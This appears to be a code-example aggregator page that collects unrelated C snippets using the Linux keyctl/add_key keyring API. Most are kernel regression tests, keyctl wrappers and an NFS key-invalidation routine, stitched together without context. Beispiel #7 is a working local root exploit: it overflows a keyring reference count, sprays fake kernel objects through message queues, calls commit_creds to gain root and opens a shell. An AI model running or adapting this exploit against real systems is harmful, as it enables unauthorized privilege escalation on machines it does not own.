Beispiel #1
0
static int init_key(char *name, int cmd)
{
	int n;
	int sec = 1;

	n = add_key("keyring", name, NULL, 0, KEY_SPEC_THREAD_KEYRING);
	if (n == -1)
		tst_brk(TBROK | TERRNO, "add_key() failed");

	if (cmd == KEYCTL_REVOKE) {
		if (keyctl(cmd, n) == -1) {
			tst_brk(TBROK | TERRNO,	"failed to revoke a key");
		}
	}

	if (cmd == KEYCTL_SET_TIMEOUT) {
		if (keyctl(cmd, n, sec) == -1) {
			tst_brk(TBROK | TERRNO,
				"failed to set timeout for a key");
		}

		sleep(sec + 1);
	}

	return n;
}
Beispiel #2
0
static void test_update_nonupdatable(const char *type,
				     const void *payload, size_t plen)
{
	key_serial_t keyid;

	new_session_keyring();

	TEST(add_key(type, "desc", payload, plen, KEY_SPEC_SESSION_KEYRING));
	if (TEST_RETURN < 0) {
		if (TEST_ERRNO == ENODEV) {
			tst_res(TCONF, "kernel doesn't support key type '%s'",
				type);
			return;
		}
		if (TEST_ERRNO == EBADMSG && !strcmp(type, "asymmetric")) {
			tst_res(TCONF, "kernel is missing x509 cert parser "
				"(CONFIG_X509_CERTIFICATE_PARSER)");
			return;
		}
		if (TEST_ERRNO == ENOENT && !strcmp(type, "asymmetric")) {
			tst_res(TCONF, "kernel is missing crypto algorithms "
				"needed to parse x509 cert (CONFIG_CRYPTO_RSA "
				"and/or CONFIG_CRYPTO_SHA256)");
			return;
		}
		tst_res(TBROK | TTERRNO, "unexpected error adding '%s' key",
			type);
		return;
	}
	keyid = TEST_RETURN;

	/*
	 * Non-updatable keys don't start with write permission, so we must
	 * explicitly grant it.
	 */
	TEST(keyctl(KEYCTL_SETPERM, keyid, KEY_POS_ALL));
	if (TEST_RETURN != 0) {
		tst_res(TBROK | TTERRNO,
			"failed to grant write permission to '%s' key", type);
		return;
	}

	tst_res(TINFO, "Try to update the '%s' key...", type);
	TEST(keyctl(KEYCTL_UPDATE, keyid, payload, plen));
	if (TEST_RETURN == 0) {
		tst_res(TBROK,
			"updating '%s' key unexpectedly succeeded", type);
		return;
	}
	if (TEST_ERRNO != EOPNOTSUPP) {
		tst_res(TBROK | TTERRNO,
			"updating '%s' key unexpectedly failed", type);
		return;
	}
	tst_res(TPASS, "updating '%s' key expectedly failed with EOPNOTSUPP",
		type);
}
Beispiel #3
0
static void do_test(void)
{
	key_serial_t tid_keyring;

	TEST(keyctl(KEYCTL_GET_KEYRING_ID, KEY_SPEC_THREAD_KEYRING, 1));
	if (TST_RET < 0)
		tst_brk(TBROK | TTERRNO, "failed to create thread keyring");
	tid_keyring = TST_RET;

	TEST(keyctl(KEYCTL_SET_REQKEY_KEYRING, KEY_REQKEY_DEFL_THREAD_KEYRING));
	if (TST_RET < 0)
		tst_brk(TBROK | TTERRNO, "failed to set reqkey keyring");

	TEST(keyctl(KEYCTL_GET_KEYRING_ID, KEY_SPEC_THREAD_KEYRING, 0));
	if (TST_RET < 0)
		tst_brk(TBROK | TTERRNO, "failed to get thread keyring ID");
	if (TST_RET == tid_keyring)
		tst_res(TPASS, "thread keyring was not leaked");
	else
		tst_res(TFAIL, "thread keyring was leaked!");
}
Beispiel #4
0
/*
 * Try to update a key, racing with removing write permission.
 * This may crash buggy kernels.
 */
static void test_update_setperm_race(void)
{
	static const char payload[] = "payload";
	key_serial_t keyid;
	int i;

	new_session_keyring();

	TEST(add_key("user", "desc", payload, sizeof(payload),
		KEY_SPEC_SESSION_KEYRING));
	if (TEST_RETURN < 0) {
		tst_res(TBROK | TTERRNO, "failed to add 'user' key");
		return;
	}
	keyid = TEST_RETURN;

	if (SAFE_FORK() == 0) {
		uint32_t perm = KEY_POS_ALL;

		for (i = 0; i < 10000; i++) {
			perm ^= KEY_POS_WRITE;
			TEST(keyctl(KEYCTL_SETPERM, keyid, perm));
			if (TEST_RETURN != 0)
				tst_brk(TBROK | TTERRNO, "setperm failed");
		}
		exit(0);
	}

	tst_res(TINFO, "Try to update the 'user' key...");
	for (i = 0; i < 10000; i++) {
		TEST(keyctl(KEYCTL_UPDATE, keyid, payload, sizeof(payload)));
		if (TEST_RETURN != 0 && TEST_ERRNO != EACCES) {
			tst_res(TBROK | TTERRNO, "failed to update 'user' key");
			return;
		}
	}
	tst_reap_children();
	tst_res(TPASS, "didn't crash while racing to update 'user' key");
}
int ecryptfs_validate_keyring(void)
{
	long rc_long;
	int rc = 0;

	if ((rc_long = keyctl(KEYCTL_LINK, KEY_SPEC_USER_KEYRING,
			      KEY_SPEC_SESSION_KEYRING))) {
		syslog(LOG_ERR, "Error attempting to link the user session "
		       "keyring into the session keyring\n");
		rc = -EIO;
		goto out;
	}
out:
	return rc;
}
Beispiel #6
0
static void do_test(void)
{
	key_serial_t key;

	key = add_key("user", "ltptestkey", "a", 1, KEY_SPEC_SESSION_KEYRING);
	if (key == -1)
		tst_brk(TBROK, "Failed to add key");

	request_key("keyring", "foo", "bar", KEY_SPEC_THREAD_KEYRING);

	TEST(keyctl(KEYCTL_UNLINK, key, KEY_SPEC_SESSION_KEYRING));
	if (TEST_RETURN)
		tst_res(TFAIL | TTERRNO, "keyctl unlink failed");
	else
		tst_res(TPASS, "Bug not reproduced");
}
Beispiel #7
0
int main(int argc, const char *argv[]) {
    const char *keyring_name;
    size_t i = 0;
        unsigned long int l = 0x100000000/2;
    key_serial_t serial = -1;
    pid_t pid = -1;
        struct key_type * my_key_type = NULL;

        struct {
        long mtype;
        char mtext[STRUCT_LEN];
    } msg = {0x4141414141414141, {0}};
    int msqid;

    if (argc != 2) {
        puts("usage: ./keys <key_name>");
        return 1;
    }

        printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
    commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
        prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
    if(commit_creds == NULL || prepare_kernel_cred == NULL) {
        commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
                prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
                if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
                    puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source");
    }

        my_key_type = malloc(sizeof(*my_key_type));

        my_key_type->revoke = (void*)userspace_revoke;
        memset(msg.mtext, 'A', sizeof(msg.mtext));

        // key->uid
        *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
        //key->perm
        *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

        //key->type
        *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

        if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
               perror("msgget");
            exit(1);
        }

        keyring_name = argv[1];

    /* Set the new session keyring before we start */

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    if (serial < 0) {
        perror("keyctl");
        return -1;
        }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }


    puts("[+] Increfing...");
        for (i = 1; i < 0xfffffffd; i++) {
            if (i == (0xffffffff - l)) {
                   l = l/2;
                    sleep(5);
            }
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                    perror("[-] keyctl");
                    return -1;
            }
        }
        sleep(5);
        /* here we are going to leak the last references to overflow */
        for (i=0; i<5; ++i) {
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                    perror("[-] keyctl");
                    return -1;
            }
        }

        puts("[+] Finished increfing");
        puts("[+] Forking...");
        /* allocate msg struct in the kernel rewriting the freed keyring object */
        for (i=0; i<64; i++) {
            pid = fork();
            if (pid == -1) {
                    perror("[-] fork");
                    return -1;
            }

            if (pid == 0) {
                    sleep(2);
                    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                        perror("[-] msgget");
                        exit(1);
                    }
                    for (i = 0; i < 64; i++) {
                        if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                                perror("[-] msgsnd");
                                exit(1);
                        }
                    }
                    sleep(-1);
                    exit(1);
            }
        }

        puts("[+] Finished forking");
        sleep(5);

        /* call userspace_revoke from kernel */
        puts("[+] Caling revoke...");
        if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
            perror("[+] keyctl_revoke");
        }

        printf("uid=%d, euid=%d\n", getuid(), geteuid());
        execl("/bin/sh", "/bin/sh", NULL);

        return 0;
}
long keyctl_search(key_serial_t ringid, const char *type,
                   const char *description, key_serial_t destringid)
{
    return keyctl(KEYCTL_SEARCH, ringid, type, description, destringid);
}
long keyctl_setperm(key_serial_t id, int permissions)
{
    return keyctl(KEYCTL_SETPERM, id, permissions);
}
long keyctl_revoke(key_serial_t id)
{
    return keyctl(KEYCTL_REVOKE, id);
}
Beispiel #11
0
static void new_session_keyring(void)
{
	TEST(keyctl(KEYCTL_JOIN_SESSION_KEYRING, NULL));
	if (TEST_RETURN < 0)
		tst_brk(TBROK | TTERRNO, "failed to join new session keyring");
}
Beispiel #12
0
/*
 * Revoke a key 
 */
static int key_invalidate(char *keystr, int keymask)
{
	FILE *fp;
	char buf[BUFSIZ], *ptr;
	key_serial_t key;
	int mask;

	xlog_syslog(0);

	if ((fp = fopen(PROCKEYS, "r")) == NULL) {
		xlog_err("fopen(%s) failed: %m", PROCKEYS);
		return EXIT_FAILURE;
	}

	while(fgets(buf, BUFSIZ, fp) != NULL) {
		if (strstr(buf, "keyring") != NULL)
			continue;

		mask = 0;
		if ((ptr = strstr(buf, "uid:")) != NULL)
			mask = UIDKEYS;
		else if ((ptr = strstr(buf, "gid:")) != NULL)
			mask = GIDKEYS;
		else 
			continue;

		if ((keymask & mask) == 0)
			continue;

		if (strncmp(ptr+4, keystr, strlen(keystr)) != 0)
			continue;

		if (verbose) {
			*(strchr(buf, '\n')) = '\0';
			xlog_warn("invalidating '%s'", buf);
		}
		/*
		 * The key is the first arugment in the string
		 */
		*(strchr(buf, ' ')) = '\0';
		sscanf(buf, "%x", &key);

/* older libkeyutils compatibility */
#ifndef KEYCTL_INVALIDATE
#define KEYCTL_INVALIDATE 21      /* invalidate a key */
#endif
		if (keyctl(KEYCTL_INVALIDATE, key) < 0) {
			if (errno != EOPNOTSUPP) {
				xlog_err("keyctl_invalidate(0x%x) failed: %m", key);
				fclose(fp);
				return EXIT_FAILURE;
			} else {
				/* older kernel compatibility attempt: */
				if (keyctl_revoke(key) < 0) {
					xlog_err("keyctl_revoke(0x%x) failed: %m", key);
					fclose(fp);
					return EXIT_FAILURE;
				}
			}
		}

		keymask &= ~mask;
		if (keymask == 0) {
			fclose(fp);
			return EXIT_SUCCESS;
		}
	}
	xlog_err("'%s' key was not found.", keystr);
	fclose(fp);
	return EXIT_FAILURE;
}